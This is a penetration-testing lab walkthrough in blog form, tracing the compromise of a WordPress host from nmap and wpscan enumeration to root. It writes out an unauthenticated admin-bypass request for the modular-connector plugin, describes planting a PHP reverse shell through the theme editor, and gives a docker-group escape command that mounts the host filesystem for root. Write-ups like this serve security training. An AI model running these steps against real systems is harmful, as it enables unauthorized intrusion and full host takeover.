Summary

Objective You have been hired to perform a penetration test on a single host in a company’s network. Your task is to identify all vulnerabilities and demonstrate impact to the client by elevating your privileges to root. The client has provided you with VPN access to the network, but no additional details. TL;DR Nmap identified SSH (22) and HTTP (80) open on the target, with the web server hosting a WordPress site. An initial passive wpscan plugin enumeration came back empty, but an aggressive scan uncovered an outdated plugin, modular-connector , vulnerable to an unauthenticated admin panel bypass (CVE-2026-23550) due to improper access control in its route matching. Exploiting this granted admin access to WordPress, which was used to inject a PHP reverse shell via the theme editor, landing a low-level shell as www-data . Enumeration revealed www-data belonged to the docker group, which was abused to mount the host filesystem into a container and chroot in, escalating to a full root shell. Network Enumeration TCP sudo nmap 10.1.108.126 -Pn -n -v -T4 -p- —min-rate=1000 —max-retries=2 Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-11 17:29 -0400 Initiating SYN Stealth Scan at 17:29 Scanning 10.1.108.126 [65535 ports] Discovered open port 22/tcp on 10.1.108.126 Discovered open port 80/tcp on 10.1.108.126 Completed SYN Stealth Scan at 17:29, 16.62s elapsed (65535 total ports) Nmap scan report for 10.1.108.126 Host is up (0.027s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 16.71 seconds Raw packets sent: 66241 (2.915MB) | Rcvd: 65935 (2.637MB) A full port scan with nmap confirmed that only two ports were open on this target. With that confirmed, a follow-up nmap scan was run against both ports using service/version detection and default NSE scripts to gather more information. $ nmap 10.1.108.126 -Pn -n -p22,80 -sCV Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-11 17:30 -0400 Nmap scan report for 10.1.108.126 Host is up (0.030s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 a2:fa:00:85:4c:0d:97:79:7b:46:e4:86:1b:18:72:19 (ECDSA) |_ 256 ea:8d:af:2f:ec:15:d9:32:c0:94:6f:09:03:49:60:36 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |http-server-header: Apache/2.4.52 (Ubuntu) | http-robots.txt: 1 disallowed entry |/wp-admin/ |_http-title: WordPress › Error Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.93 seconds The results above show:

  • Port 22 — OpenSSH 8.9p1 (Ubuntu), running on a standard port
  • Port 80 — Apache 2.4.52 (Ubuntu), hosting a WordPress site Now that TCP port scanning is complete, let’s move on to scanning UDP ports before interacting with the WordPress site hosted on this lab. UDP $ sudo nmap 10.1.108.126 -Pn -n -sU -v -T4 -p- —min-rate=1000 —max-retries=2 Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-11 17:31 -0400 Initiating UDP Scan at 17:31 Scanning 10.1.108.126 [65535 ports]

Completed UDP Scan at 17:34, 196.77s elapsed (65535 total ports) Nmap scan report for 10.1.108.126 Host is up (0.035s latency). All 65535 scanned ports on 10.1.108.126 are in ignored states. Not shown: 65321 open|filtered udp ports (no-response), 214 closed udp ports (port-unreach) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 197.20 seconds Raw packets sent: 196678 (9.501MB) | Rcvd: 216 (16.672KB) A full UDP scan across all ports found no open ports — all ports were either open|filtered (no response) or closed (port unreachable). Since no UDP services are exposed, we can move on to interacting with the WordPress site identified. HTTP|HTTP/S WordPress Enumeration When dealing with WordPress sites, a good area to enumerate is installed plugins — they’re a common entry point and can potentially grant an attacker full Administrator access to the site. We can use wpscan to enumerate the plugins installed on this WordPress site. $ wpscan —url http://10.1.108.126/ —enumerate ap



\ \ / / __ \ / | \ \ /\ / /| |) | ( ___ __ _ _ __ ® \ / / / | / _ \ / |/ ` | ’
\ /\ / | | ____) | (
| (
| | | | | / / |
| |
/ _|_,|| |_| WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @WPScan, @ethicalhack3r, @erwan_lr, @firefart


[+] URL: http://10.1.108.126/ [10.1.108.126] [+] Started: Tue Aug 11 17:53:14 2026 [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. The scan to enumerate all plugins failed and returned a No plugins found message. However, it’s worth noting that the tool performed a Passive scan, and there’s a more thorough method available called Aggressive scanning. Think of it like the difference between nmap scanning the top 1,000 most common ports versus all ports (-p- ) — the default/passive method only checks the “usual suspects” while the thorough/aggressive method checks everything, regardless of whether it stands out. $ wpscan —url http://10.1.108.126/ —plugins-detection aggressive



\ \ / / __ \ / | \ \ /\ / /| |) | ( ___ __ _ _ __ ® \ / / / | / _ \ / |/ ` | ’
\ /\ / | | ____) | (
| (
| | | | | / / |
| |
/ _|_,|| |_| WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @WPScan, @ethicalhack3r, @erwan_lr, @firefart


[+] URL: http://10.1.108.126/ [10.1.108.126] [+] Started: Tue Aug 11 17:53:47 2026 [+] Enumerating All Plugins (via Aggressive Methods) Checking Known Locations - Time: 00:49:48 ======================================================================================================== (127074 / 127074) 100.00% Time: 00:49:48 [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] akismet | Location: http://10.1.108.126/wp-content/plugins/akismet/ | Latest Version: 5.7 | Last Updated: 2026-04-23T22:34:00.000Z | | Found By: Known Locations (Aggressive Detection) | - http://10.1.108.126/wp-content/plugins/akismet/, status: 403 | | The version could not be determined. [+] feed | Location: http://10.1.108.126/wp-content/plugins/feed/ | | Found By: Known Locations (Aggressive Detection) | - http://10.1.108.126/wp-content/plugins/feed/, status: 200 | | The version could not be determined. [+] https://github.com/placetopay/woocommerce-gateway-placetopay | Location: http://10.1.108.126/wp-content/plugins/https://github.com/placetopay/woocommerce-gateway-placetopay/ | | Found By: Known Locations (Aggressive Detection) | - https://github.com/placetopay/woocommerce-gateway-placetopay/, status: 200 | | The version could not be determined. [+] modular-connector | Location: http://10.1.108.126/wp-content/plugins/modular-connector/ | Last Updated: 2026-08-07T17:07:00.000Z | Readme: http://10.1.108.126/wp-content/plugins/modular-connector/readme.txt | [!] The version is out of date, the latest version is 3.2.0 | | Found By: Known Locations (Aggressive Detection) | - http://10.1.108.126/wp-content/plugins/modular-connector/, status: 403 | | Version: 2.5.0 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://10.1.108.126/wp-content/plugins/modular-connector/readme.txt The aggressive scan for plugin enumeration on the WordPress site revealed an outdated installed plugin called modular-connector . Looking up an exploit for this plugin led to this article detailing how to abuse it to gain unauthorized access to the Administrator panel. Low-Level Shell from Unauthenticated Admin Access via Improper Access Control Some key points from the article include the expected path, the route structure, and the required query parameters. Testing this against the target, a request like http:///api/modular-connector/login/awoken?origin=mo&type=xxx successfully granted access to the admin panel. With admin access to the WordPress site, we can activate the Twenty Twenty theme and inject a PHP reverse shell into its template file. This way, when the file is updated — or when the site’s root page is requested — it triggers the reverse shell, giving us a low-level shell as www-data on the target. www-data@dark:/ hostname dark Shells www-data — Privilege Escalation A common enumeration technique when obtaining a shell is to check which groups the user belongs to, as certain group memberships can lead directly to privilege escalation. www-data@dark:/ python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ www-data@dark:/$ docker run -v /:/mnt —rm -it alpine chroot /mnt bash Unable to find image ‘alpine:latest’ locally latest: Pulling from library/alpine 55afa1ecc21d: Pull complete Digest: sha256:28bd5fe8b56d1bd048e5babf5b10710ebe0bae67db86916198a6eec434943f8b Status: Downloaded newer image for alpine:latest groups: cannot find name for group ID 11 To run a command as administrator (user “root”), use “sudo “. See “man sudo_root” for details. root@d3a539a12354:/# id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) root@d3a539a12354:/# hostname d3a539a12354 The docker command ran successfully, pulling the alpine image and mounting the host’s root filesystem (/ ) into the container at /mnt . Since www-data is a member of the docker group, it has permission to interact with the Docker daemon — and since the Docker daemon itself runs as root, any container it spawns has root-level access to whatever is mounted into it. By chroot -ing into /mnt (the mounted host filesystem), the shell effectively operates as root on the host, as confirmed by the id output showing uid=0(root) . And just like that, this lab has aw0ken.

By aw0ken

Original Article